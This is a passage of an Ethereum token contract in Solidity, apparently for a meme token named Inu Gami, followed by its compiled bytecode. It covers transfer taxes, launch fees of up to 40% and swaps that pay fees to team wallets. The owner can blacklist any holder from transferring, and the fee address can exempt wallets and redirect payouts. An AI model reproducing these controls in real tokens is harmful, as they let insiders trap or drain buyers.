require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,true);
}
uint256 totalFee = 2;
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > _launchTime + (2 minutes)) {
if (bluemode > block.timestamp) {
totalFee = 2;
} else {
totalFee = 10;
}
} else if (block.timestamp > _launchTime + (1 minutes)) {
totalFee = 20;
} else {
totalFee = 40;
}
_taxFee = (totalFee).div(10);
_teamFee = (totalFee.mul(9)).div(10);
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
}
if (amount >= balanceOf(uniswapV2Pair).mul(2).div(100)) {
redmode = block.timestamp + (15 minutes);
}
if (consecutiveBuyCounter >= 5) {
redmode = block.timestamp + (15 minutes);
consecutiveBuyCounter = 0;
} else {
consecutiveBuyCounter++;
}
consecutiveSellCounter = 0;
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if (redmode > block.timestamp) {
totalFee = 20;
} else {
totalFee = 10;
}
_taxFee = (totalFee).div(10);
_teamFee = (totalFee.mul(9)).div(10);
//To limit big dumps by the contract before the sells
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(6).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(6).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
if (amount >= balanceOf(uniswapV2Pair).mul(2).div(100)) {
bluemode = block.timestamp + (5 minutes);
}
if (consecutiveSellCounter >= 5) {
bluemode = block.timestamp + (5 minutes);
consecutiveSellCounter = 0;
} else {
consecutiveSellCounter++;
}
consecutiveBuyCounter = 0;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _communityMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
buyLimitEnd = block.timestamp + (20 seconds);
_launchTime = block.timestamp;
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function isRedMode() public view returns (bool) {
return (redmode > block.timestamp);
}
function isBlueMode() public view returns (bool) {
return (bluemode > block.timestamp);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x60806040526004361061016a5760003560e01c806368a3a6a5116100d1578063a985ceef1161008a578063cf0848f711610064578063cf0848f714610537578063d0d753a614610560578063db92dbb61461058b578063dd62ed3e146105b657610171565b8063a985ceef146104cc578063b515566a146104f7578063c9567bf91461052057610171565b806368a3a6a5146103a857806370a08231146103e5578063715018a6146104225780638da5cb5b1461043957806395d89b4114610464578063a9059cbb1461048f57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c55780633d5065b614610302578063437823ec1461032d5780635932ead1146103565780635d098b381461037f57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105f3565b604051610198919061368f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906131db565b610630565b6040516101d59190613674565b60405180910390f35b3480156101ea57600080fd5b506101f361064e565b6040516102009190613831565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b919061318c565b61065f565b60405161023d9190613674565b60405180910390f35b34801561025257600080fd5b5061026d600480360381019061026891906130d5565b610738565b005b34801561027b57600080fd5b50610284610828565b6040516102919190613831565b60405180910390f35b3480156102a657600080fd5b506102af610838565b6040516102bc91906138a6565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e791906130d5565b610841565b6040516102f99190613674565b60405180910390f35b34801561030e57600080fd5b50610317610897565b6040516103249190613674565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f9190613127565b6108a3565b005b34801561036257600080fd5b5061037d60048036038101906103789190613258565b61095f565b005b34801561038b57600080fd5b506103a660048036038101906103a19190613127565b610a57565b005b3480156103b457600080fd5b506103cf60048036038101906103ca91906130d5565b610bce565b6040516103dc9190613831565b60405180910390f35b3480156103f157600080fd5b5061040c600480360381019061040791906130d5565b610c25565b6040516104199190613831565b60405180910390f35b34801561042e57600080fd5b50610437610c76565b005b34801561044557600080fd5b5061044e610dc9565b60405161045b91906135a6565b60405180910390f35b34801561047057600080fd5b50610479610df2565b604051610486919061368f565b60405180910390f35b34801561049b57600080fd5b506104b660048036038101906104b191906131db565b610e2f565b6040516104c39190613674565b60405180910390f35b3480156104d857600080fd5b506104e1610e4d565b6040516104ee9190613674565b60405180910390f35b34801561050357600080fd5b5061051e60048036038101906105199190613217565b610e64565b005b34801561052c57600080fd5b506105356110e6565b005b34801561054357600080fd5b5061055e60048036038101906105599190613127565b611626565b005b34801561056c57600080fd5b506105756116e2565b6040516105829190613674565b60405180910390f35b34801561059757600080fd5b506105a06116ee565b6040516105ad9190613831565b60405180910390f35b3480156105c257600080fd5b506105dd60048036038101906105d89190613150565b611720565b6040516105ea9190613831565b60405180910390f35b60606040518060400160405280600881526020017f496e752047616d69000000000000000000000000000000000000000000000000815250905090565b600061064461063d6117a7565b84846117af565b6001905092915050565b6000683635c9adc5dea00000905090565b600061066c84848461197a565b61072d846106786117a7565b61072885604051806060016040528060288152602001613fb960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106de6117a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bb9092919063ffffffff16565b6117af565b600190509392505050565b6107406117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c490613771565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061083330610c25565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60004260175411905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e46117a7565b73ffffffffffffffffffffffffffffffffffffffff161461090457600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6109676117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb90613771565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff16604051610a4c9190613674565b60405180910390a150565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a986117a7565b73ffffffffffffffffffffffffffffffffffffffff1614610ab857600080fd5b600060056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610c1e9190613a48565b9050919050565b6000610c6f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f565b9050919050565b610c7e6117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0290613771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f47414d4900000000000000000000000000000000000000000000000000000000815250905090565b6000610e43610e3c6117a7565b848461197a565b6001905092915050565b6000601360159054906101000a900460ff16905090565b610e6c6117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef090613771565b60405180910390fd5b60005b81518110156110e257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f77577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110315750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110611010577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110cf57600160066000848481518110611075577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110da90613b59565b915050610efc565b5050565b6110ee6117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290613771565b60405180910390fd5b601360149054906101000a900460ff16156111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c2906137f1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061125b30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112a157600080fd5b505afa1580156112b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d991906130fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561133b57600080fd5b505afa15801561134f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137391906130fe565b6040518363ffffffff1660e01b81526004016113909291906135c1565b602060405180830381600087803b1580156113aa57600080fd5b505af11580156113be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e291906130fe565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061146b30610c25565b600080611476610dc9565b426040518863ffffffff1660e01b815260040161149896959493929190613613565b6060604051808303818588803b1580156114b157600080fd5b505af11580156114c5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ea91906132aa565b505050674563918244f40000600f81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161159b9291906135ea565b602060405180830381600087803b1580156115b557600080fd5b505af11580156115c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ed9190613281565b506001601360146101000a81548160ff0219169083151502179055506014426116169190613967565b60158190555042600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116676117a7565b73ffffffffffffffffffffffffffffffffffffffff161461168757600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60004260165411905090565b600061171b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c25565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561181f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611816906137d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561188f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611886906136f1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161196d9190613831565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e1906137b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a51906136b1565b60405180910390fd5b60008111611a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9490613791565b60405180910390fd5b611aa5610dc9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b135750611ae3610dc9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156122e157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bbc5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bc557600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611c9f5760405180604001604052806000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b600060029050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d505750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611da65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561205957601360149054906101000a900460ff16611dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df190613811565b60405180910390fd5b6078600c54611e099190613967565b421115611e2d57426017541115611e235760029050611e28565b600a90505b611e52565b603c600c54611e3c9190613967565b421115611e4c5760149050611e51565b602890505b5b611e66600a8261248d90919063ffffffff16565b600a81905550611e93600a611e856009846124d790919063ffffffff16565b61248d90919063ffffffff16565b600b81905550601360159054906101000a900460ff1615611fa057426015541115611f9f57600f54821115611ec757600080fd5b42600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4290613711565b60405180910390fd5b602d42611f589190613967565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b611ff16064611fe36002611fd5601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c25565b6124d790919063ffffffff16565b61248d90919063ffffffff16565b821061200c57610384426120059190613967565b6016819055505b60056018541061203757610384426120249190613967565b6016819055506000601881905550612050565b6018600081548092919061204a90613b59565b91905055505b60006019819055505b600061206430610c25565b9050601360179054906101000a900460ff161580156120d15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156120e95750601360149054906101000a900460ff165b156122de574260165411156121015760149150612106565b600a91505b61211a600a8361248d90919063ffffffff16565b600a81905550612147600a6121396009856124d790919063ffffffff16565b61248d90919063ffffffff16565b600b81905550600081111561220c576121a76064612199600661218b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c25565b6124d790919063ffffffff16565b61248d90919063ffffffff16565b811115612202576121ff60646121f160066121e3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c25565b6124d790919063ffffffff16565b61248d90919063ffffffff16565b90505b61220b81612552565b5b60004790506000811115612224576122234761284c565b5b61227560646122676002612259601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c25565b6124d790919063ffffffff16565b61248d90919063ffffffff16565b84106122905761012c426122899190613967565b6017819055505b6005601954106122bb5761012c426122a89190613967565b60178190555060006019819055506122d4565b601960008154809291906122ce90613b59565b91905055505b6000601881905550505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123885750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061239f5750601360169054906101000a900460ff165b156123a957600090505b6123b584848484612947565b50505050565b6000838311158290612403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fa919061368f565b60405180910390fd5b50600083856124129190613a48565b9050809150509392505050565b6000600854821115612466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245d906136d1565b60405180910390fd5b6000612470612974565b9050612485818461248d90919063ffffffff16565b915050919050565b60006124cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061299f565b905092915050565b6000808314156124ea576000905061254c565b600082846124f891906139ee565b905082848261250791906139bd565b14612547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253e90613751565b60405180910390fd5b809150505b92915050565b6001601360176101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125b0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156125de5781602001602082028036833780820191505090505b509050308160008151811061261c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156126be57600080fd5b505afa1580156126d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126f691906130fe565b81600181518110612730577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061279730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117af565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127fb95949392919061384c565b600060405180830381600087803b15801561281557600080fd5b505af1158015612829573d6000803e3d6000fd5b50505050506000601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61289c60028461248d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156128c7573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61291860028461248d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612943573d6000803e3d6000fd5b5050565b8061295557612954612a02565b5b612960848484612a45565b8061296e5761296d612c10565b5b50505050565b6000806000612981612c24565b91509150612998818361248d90919063ffffffff16565b9250505090565b600080831182906129e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129dd919061368f565b60405180910390fd5b50600083856129f591906139bd565b9050809150509392505050565b6000600a54148015612a1657506000600b54145b15612a2057612a43565b600a54600d81905550600b54600e819055506000600a819055506000600b819055505b565b600080600080600080612a5787612c86565b955095509550955095509550612ab586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cee90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b4a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d3890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b9681612d96565b612ba08483612e53565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612bfd9190613831565b60405180910390a3505050505050505050565b600d54600a81905550600e54600b81905550565b600080600060085490506000683635c9adc5dea000009050612c5a683635c9adc5dea0000060085461248d90919063ffffffff16565b821015612c7957600854683635c9adc5dea00000935093505050612c82565b81819350935050505b9091565b6000806000806000806000806000612ca38a600a54600b54612e8d565b9250925092506000612cb3612974565b90506000806000612cc68e878787612f23565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612d3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123bb565b905092915050565b6000808284612d479190613967565b905083811015612d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8390613731565b60405180910390fd5b8091505092915050565b6000612da0612974565b90506000612db782846124d790919063ffffffff16565b9050612e0b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d3890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e6882600854612cee90919063ffffffff16565b600881905550612e8381600954612d3890919063ffffffff16565b6009819055505050565b600080600080612eb96064612eab888a6124d790919063ffffffff16565b61248d90919063ffffffff16565b90506000612ee36064612ed5888b6124d790919063ffffffff16565b61248d90919063ffffffff16565b90506000612f0c82612efe858c612cee90919063ffffffff16565b612cee90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612f3c85896124d790919063ffffffff16565b90506000612f5386896124d790919063ffffffff16565b90506000612f6a87896124d790919063ffffffff16565b90506000612f9382612f858587612cee90919063ffffffff16565b612cee90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612fbf612fba846138e6565b6138c1565b90508083825260208201905082856020860282011115612fde57600080fd5b60005b8581101561300e5781612ff48882613018565b845260208401935060208301925050600181019050612fe1565b5050509392505050565b60008135905061302781613f5c565b92915050565b60008151905061303c81613f5c565b92915050565b60008135905061305181613f73565b92915050565b600082601f83011261306857600080fd5b8135613078848260208601612fac565b91505092915050565b60008135905061309081613f8a565b929150505